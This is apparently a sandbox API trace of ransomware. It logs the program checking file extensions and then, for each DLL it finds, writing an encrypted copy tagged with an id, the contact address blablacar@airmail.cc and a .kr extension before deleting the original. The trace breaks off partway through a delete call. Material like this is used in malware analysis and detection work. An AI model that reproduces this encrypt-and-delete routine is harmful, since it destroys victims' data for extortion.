[0106.824] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.824] lstrlenW (lpString=".docx") returned 5 [0106.824] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.824] lstrlenW (lpString=".pdf") returned 4 [0106.824] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.824] lstrlenW (lpString=".xls") returned 4 [0106.824] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.824] lstrlenW (lpString=".xlsx") returned 5 [0106.824] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.824] lstrlenW (lpString=".ppt") returned 4 [0106.824] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0106.824] lstrlenW (lpString=".zip") returned 4 [0106.824] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.824] lstrlenW (lpString=".rar") returned 4 [0106.824] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.824] lstrlenW (lpString=".bz2") returned 4 [0106.825] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.825] lstrlenW (lpString=".7z") returned 3 [0106.825] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0106.825] lstrlenW (lpString=".dbf") returned 4 [0106.825] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0106.825] lstrlenW (lpString=".1cd") returned 4 [0106.825] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0106.825] lstrlenW (lpString=".jpg") returned 4 [0106.825] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0107.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0107.252] lstrlenW (lpString=".doc") returned 4 [0107.252] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.252] lstrlenW (lpString=".docx") returned 5 [0107.252] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.252] lstrlenW (lpString=".pdf") returned 4 [0107.252] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.252] lstrlenW (lpString=".xls") returned 4 [0107.252] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.252] lstrlenW (lpString=".xlsx") returned 5 [0107.252] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.252] lstrlenW (lpString=".ppt") returned 4 [0107.252] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0107.252] lstrlenW (lpString=".zip") returned 4 [0107.252] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.252] lstrlenW (lpString=".rar") returned 4 [0107.252] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.252] lstrlenW (lpString=".bz2") returned 4 [0107.252] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.252] lstrlenW (lpString=".7z") returned 3 [0107.252] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0107.252] lstrlenW (lpString=".dbf") returned 4 [0107.252] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0107.253] lstrlenW (lpString=".1cd") returned 4 [0107.253] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0107.253] lstrlenW (lpString=".jpg") returned 4 [0107.253] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.253] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.253] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0107.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.254] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=24768) returned 1 [0107.254] CloseHandle (hObject=0x388) returned 1 [0107.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0107.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.254] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.254] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0107.255] GetLastError () returned 0x0 [0107.255] ReadFile (in: hFile=0x388, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x60c0, lpOverlapped=0x0) returned 1 [0107.257] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x60d0, lpOverlapped=0x0) returned 1 [0107.259] ReadFile (in: hFile=0x388, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0107.259] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x114, lpOverlapped=0x0) returned 1 [0107.259] SetEndOfFile (hFile=0x358) returned 1 [0107.260] CloseHandle (hObject=0x358) returned 1 [0107.262] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.262] SetEndOfFile (hFile=0x388) returned 1 [0107.265] CloseHandle (hObject=0x388) returned 1 [0107.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.266] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0107.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.266] lstrlenW (lpString=".doc") returned 4 [0107.266] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.266] lstrlenW (lpString=".docx") returned 5 [0107.266] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.266] lstrlenW (lpString=".pdf") returned 4 [0107.266] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.266] lstrlenW (lpString=".xls") returned 4 [0107.266] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.266] lstrlenW (lpString=".xlsx") returned 5 [0107.267] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.267] lstrlenW (lpString=".ppt") returned 4 [0107.267] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.267] lstrlenW (lpString=".zip") returned 4 [0107.267] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.267] lstrlenW (lpString=".rar") returned 4 [0107.267] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.267] lstrlenW (lpString=".bz2") returned 4 [0107.267] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.267] lstrlenW (lpString=".7z") returned 3 [0107.267] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.267] lstrlenW (lpString=".dbf") returned 4 [0107.267] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.267] lstrlenW (lpString=".1cd") returned 4 [0107.267] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.267] lstrlenW (lpString=".jpg") returned 4 [0107.267] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.268] lstrlenW (lpString=".doc") returned 4 [0107.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.268] lstrlenW (lpString=".docx") returned 5 [0107.268] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.268] lstrlenW (lpString=".pdf") returned 4 [0107.268] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.268] lstrlenW (lpString=".xls") returned 4 [0107.268] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.268] lstrlenW (lpString=".xlsx") returned 5 [0107.268] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.268] lstrlenW (lpString=".ppt") returned 4 [0107.268] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.268] lstrlenW (lpString=".zip") returned 4 [0107.268] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.268] lstrlenW (lpString=".rar") returned 4 [0107.268] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.268] lstrlenW (lpString=".bz2") returned 4 [0107.268] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.268] lstrlenW (lpString=".7z") returned 3 [0107.268] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.268] lstrlenW (lpString=".dbf") returned 4 [0107.268] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.269] lstrlenW (lpString=".1cd") returned 4 [0107.269] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0107.269] lstrlenW (lpString=".jpg") returned 4 [0107.269] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.269] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.269] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30 [0107.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.270] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=21184) returned 1 [0107.270] CloseHandle (hObject=0x388) returned 1 [0107.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0107.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.270] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.270] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0107.271] GetLastError () returned 0x0 [0107.271] ReadFile (in: hFile=0x388, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x52c0, lpOverlapped=0x0) returned 1 [0107.274] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x52d0, lpOverlapped=0x0) returned 1 [0107.275] ReadFile (in: hFile=0x388, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0107.275] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x110, lpOverlapped=0x0) returned 1 [0107.276] SetEndOfFile (hFile=0x358) returned 1 [0107.276] CloseHandle (hObject=0x358) returned 1 [0107.278] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.278] SetEndOfFile (hFile=0x388) returned 1 [0107.279] CloseHandle (hObject=0x388) returned 1 [0107.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.280] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0107.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.280] lstrlenW (lpString=".doc") returned 4 [0107.280] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.281] lstrlenW (lpString=".docx") returned 5 [0107.281] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.281] lstrlenW (lpString=".pdf") returned 4 [0107.281] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.281] lstrlenW (lpString=".xls") returned 4 [0107.281] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.281] lstrlenW (lpString=".xlsx") returned 5 [0107.281] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.281] lstrlenW (lpString=".ppt") returned 4 [0107.281] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.281] lstrlenW (lpString=".zip") returned 4 [0107.281] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.281] lstrlenW (lpString=".rar") returned 4 [0107.281] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.281] lstrlenW (lpString=".bz2") returned 4 [0107.281] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.281] lstrlenW (lpString=".7z") returned 3 [0107.281] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.281] lstrlenW (lpString=".dbf") returned 4 [0107.281] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.281] lstrlenW (lpString=".1cd") returned 4 [0107.281] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.282] lstrlenW (lpString=".jpg") returned 4 [0107.282] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.282] lstrlenW (lpString=".doc") returned 4 [0107.282] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.282] lstrlenW (lpString=".docx") returned 5 [0107.282] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.282] lstrlenW (lpString=".pdf") returned 4 [0107.282] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.282] lstrlenW (lpString=".xls") returned 4 [0107.282] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.282] lstrlenW (lpString=".xlsx") returned 5 [0107.282] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.282] lstrlenW (lpString=".ppt") returned 4 [0107.282] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.282] lstrlenW (lpString=".zip") returned 4 [0107.282] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.282] lstrlenW (lpString=".rar") returned 4 [0107.282] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.282] lstrlenW (lpString=".bz2") returned 4 [0107.282] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.283] lstrlenW (lpString=".7z") returned 3 [0107.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.283] lstrlenW (lpString=".dbf") returned 4 [0107.283] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.283] lstrlenW (lpString=".1cd") returned 4 [0107.283] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0107.283] lstrlenW (lpString=".jpg") returned 4 [0107.283] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.283] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.283] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0107.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.284] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=19136) returned 1 [0107.284] CloseHandle (hObject=0x388) returned 1 [0107.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0107.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.284] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.284] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0107.285] GetLastError () returned 0x0 [0107.285] ReadFile (in: hFile=0x388, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0107.687] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0107.689] ReadFile (in: hFile=0x388, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0107.689] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x116, lpOverlapped=0x0) returned 1 [0107.689] SetEndOfFile (hFile=0x358) returned 1 [0107.689] CloseHandle (hObject=0x358) returned 1 [0107.691] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.691] SetEndOfFile (hFile=0x388) returned 1 [0107.692] CloseHandle (hObject=0x388) returned 1 [0107.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.693] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft 